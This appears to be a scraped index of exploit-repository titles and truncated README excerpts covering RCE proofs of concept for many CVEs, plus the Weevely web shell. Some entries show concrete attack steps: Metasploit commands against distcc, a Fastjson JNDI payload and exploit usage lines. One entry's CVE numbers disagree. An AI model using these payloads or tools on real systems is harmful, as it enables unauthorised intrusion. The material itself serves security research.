Metasploitable-2-Distcc-Exploit-via-Kali-Linux-CVE-2004-2687

🎬 This YouTube video 1️⃣ Target identification Nmap nmap -sV -p 3632 192.168.56.102 ✅ Result will be like this: 3632/tcp open distccd v1 👉 So distcc is open and exploitable. 2️⃣ Launch Metasploit msfconsole 3️⃣ Select the Distcc exploit use exploit/unix/misc/distccexec 4️⃣ Check settings show...

Nextjs_RCE_Exploit_Tool

Next.js RCE Exploit Tool CVE-2025-55182 !CAUTION 免责声明 / Disclaimer 本工具仅供安全研究与教学 使用。用户在使用本工具进行测试时，必须确保已获得目标系统的合法授权 。 严禁用于非授权的渗透测试、恶意攻击或任何非法用途。用户感知和利用漏洞所产生的一切风险与法律后果由用户自行承担 ，与本项目开发者无关。 如果不接受此条款，请立即停止下载或使用本工具。 本工具基于公开文章开发，不提供编译好的二进制发布版本，请自行审计代码并编译。 🙏 致谢 / Credits...

CVE-2024-50379-POC

CVE-2024-50379 Exploitation and POC This repository contains a Proof of Concept POC for CVE-2024-50379 , a vulnerability affecting Apache Tomcat. The issue involves a Time-of-Check Time-of-Use TOCTOU race condition , which can lead to Remote Code Execution RCE , especially on case-insensitive fil...

CVE-2021-3129

Remote Code Execution: Laravel CVE-2021-3129 📜 Description This script is designed to exploit the Remote Code Execution RCE vulnerability identified in several Laravel versions, known as CVE-2021-3129. By leveraging this vulnerability, the script allows users to write and execute commands on a...

CVE-2022-29303

CVE-2022-29303-Exploit Exploit for CVE-2022-29303 Usage Check against single host / \ \ / / || \ | \ // \ / | \ V /| |/ / / / / // /, /| \ | \ | / || ///| /|//|/// Coded By Valentin Lobstein "With great power comes great responsibility" usage: CVE-2022-29303.py -h -u URL -c COMMAND Example :...

CVE-2018-16711

CVE-2018-16711 PoC code for CVE-2018-16711 You can find out more @ https://downwithup.github.io/CVEPosts.html Vulnerable Software Download @: https://www.iobit.com/en/advancedsystemcarefree.php...

WP-Bricks-Exploit-CVE-2024-25600

BricksRCE Exploiter CVE-2024-25600 — WordPress Bricks Builder Unauthenticated RCE Authorized security assessment tool for CVE-2024-25600 Author: Sudeepa Wanigarathna · Tool: BricksRCE Exploiter v1.0 Main script: cve-2024-25600.py !IMPORTANT Authorized use only. This tool is for security research,...

PoC-CVE-2025-55182

PoC: CVE-2026-33017 A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code...

PHP-CGI-RCE-Scanner

PHP CGI RCE CVE-2024-4577 Scanner Just a tool for educational purposes. No legal responsibility. Scanning CVE-2024-4577 vulnerability with a url list. Not only sending exploit, but also checking PHP version and whether php-cgi exists. Make it more informative to know why or why not exploit succes...

Writing-Sample-1

Log4j: CVE-2021-44228 Summary of Log4j Vulnerability & Mitigations Table of Contents 1. Executive Summary 2. Identification of Vulnerable Endpoints and Services 3. Mitigations A. Block at the Border B. Install Endpoint Detection & Response EDR on Server Endpoints C. Place Vulnerable Enterprise Ap...

weevely3

Weevely - Weaponized web shell Description Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime. Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks,...

cve-2025-62726-poc

CVE-2025-62726 POC - n8n Git Node RCE Educational Purpose This is a proof-of-concept demonstration for CVE-2025-62726, created for educational purposes as part of a class project. Part of CMU Course : 18-739 Hacking & Offensive Security in Fall 2025 Vulnerability Overview CVE ID: CVE-2025-62726...

CVE-2024-27348-HugeGraph-RCE

CVE-2024-27348: Apache HugeGraph RCE Advanced Sandbox Bypass An advanced, highly reliable Proof of Concept PoC exploit for CVE-2024-27348 Remote Code Execution in Apache HugeGraph Server. Unlike many public PoCs that execute commands blindly or fail on complex payloads due to Java's Runtime.exec...

Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- Description: Microsoft Word CVE-2017-0199 is prone to a RCE trough a HTA Handler A remote code execution vulnerability exists in the way that Microsoft Office and WordPad parse specially crafted files. An attacker who successfully exploited this vulnerability could...

Shell-Shock

Shell Shock Authors : [email protected] Maintainers : Department : DevOps Licenses : Overview Shell Shock : Privelege Escalation, Remote Code Execution Family of bugs in the Unix Bash Shell. Allow execution of arbitrary commands. Exploitation Vectors Payloads shellshock user agent =...

CVE-2022-22954

CVE-2022-22954 Vulnerability Description Workspace ONE Access provides a unified application portal through which all enterprise applications can be accessed securely, and can be used for single sign-on. In CVE-2022-22954, an attacker can craft a malicious request to cause template injection,...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 Remote Command Execution 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true Unknown version between 1.2.24-41...

CVE-2023-36844

CVE-2023-36844 The "Remote Code Execution in Juniper JunOS within SRX and EX Series products" vulnerability is a security issue that allows an attacker to execute arbitrary code on a targeted Juniper device running JunOS software. This vulnerability could potentially lead to a compromise of the...

CVE-2023-46818

CVE-2023-46818 An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if adminallowlangedit is enabled. Usage ❯ python3 CVE-2023-46818.py Usage: python3 CVE-2023-46818.py Poc of CVE-2023-46818 ISPConfig = 3.2.11 - Code...

CVE-2021-31166

CVE-2021-31166 Description - POC for CVE-2021-31166: Windows HTTP协议栈远程代码执行漏洞 - create by antx at 2021-09-27. Detail - ./trigger.gifPoc-Gif CVE Severity - attackComplexity: LOW - attackVector: NETWORK - availabilityImpact: HIGH - confidentialityImpact: HIGH - integrityImpact: HIGH -...